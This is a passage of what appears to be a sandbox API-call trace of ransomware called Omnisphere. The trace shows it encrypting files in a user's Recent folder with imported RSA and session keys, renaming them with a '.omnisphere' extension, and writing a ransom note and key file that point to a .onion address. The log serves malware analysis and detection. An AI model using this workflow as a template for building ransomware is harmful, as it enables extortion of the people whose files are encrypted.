lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.389] GetProcessHeap () returned 0x1600000 [0127.389] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8208 [0127.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8208, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.390] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.390] GetProcessHeap () returned 0x1600000 [0127.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da198 [0127.390] PathCombineW (in: pszDest=0x16da198, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.390] GetProcessHeap () returned 0x1600000 [0127.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e9a90 [0127.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.390] WriteFile (in: hFile=0x28c, lpBuffer=0x16e9a90*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e9a90*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.390] CloseHandle (hObject=0x28c) returned 1 [0127.391] GetProcessHeap () returned 0x1600000 [0127.391] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.391] GetProcessHeap () returned 0x1600000 [0127.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.391] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.391] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.391] CloseHandle (hObject=0x28c) returned 1 [0127.392] GetProcessHeap () returned 0x1600000 [0127.392] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.392] GetProcessHeap () returned 0x1600000 [0127.392] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167be48 | out: hHeap=0x1600000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bbc2a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f5bbc2a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f5bbc2a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="XpzbuGntc-6.lnk", cAlternateFileName="XPZBUG~1.LNK")) returned 1 [0127.392] GetProcessHeap () returned 0x1600000 [0127.392] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656d60 [0127.392] PathCombineW (in: pszDest=0x1656d60, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="XpzbuGntc-6.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk" [0127.392] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xpzbugntc-6.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.392] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=653) returned 1 [0127.392] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.393] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] GetTickCount () returned 0x115fc9c [0127.394] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0127.395] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.395] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.395] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.395] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0127.395] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28d, lpName=0x0) returned 0x288 [0127.395] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28d) returned 0x1480000 [0127.395] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0127.396] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0127.396] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.396] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.396] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.396] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.396] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.397] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.398] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.399] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.399] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.399] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.399] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x28d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.399] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.399] GetProcessHeap () returned 0x1600000 [0127.399] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16f2940 [0127.399] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xpzbugntc-6.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xpzbugntc-6.lnk.omnisphere")) returned 1 [0127.400] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk.omnisphere.id" [0127.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xpzbugntc-6.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.401] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.402] CloseHandle (hObject=0x3c0) returned 1 [0127.402] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.403] CloseHandle (hObject=0x288) returned 1 [0127.403] SetEndOfFile (hFile=0x28c) returned 1 [0127.403] FlushFileBuffers (hFile=0x28c) returned 1 [0127.410] CloseHandle (hObject=0x28c) returned 1 [0127.410] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XpzbuGntc-6.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.410] GetProcessHeap () returned 0x1600000 [0127.410] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.410] GetProcessHeap () returned 0x1600000 [0127.411] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1cd0 [0127.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1cd0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.411] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.411] GetProcessHeap () returned 0x1600000 [0127.411] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d83a8 [0127.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d83a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.411] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.411] GetProcessHeap () returned 0x1600000 [0127.411] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6210 [0127.411] PathCombineW (in: pszDest=0x16f6210, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.411] GetProcessHeap () returned 0x1600000 [0127.411] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ea058 [0127.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.412] WriteFile (in: hFile=0x28c, lpBuffer=0x16ea058*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ea058*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.412] CloseHandle (hObject=0x28c) returned 1 [0127.412] GetProcessHeap () returned 0x1600000 [0127.412] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.412] GetProcessHeap () returned 0x1600000 [0127.412] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.412] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.412] CreateFileW 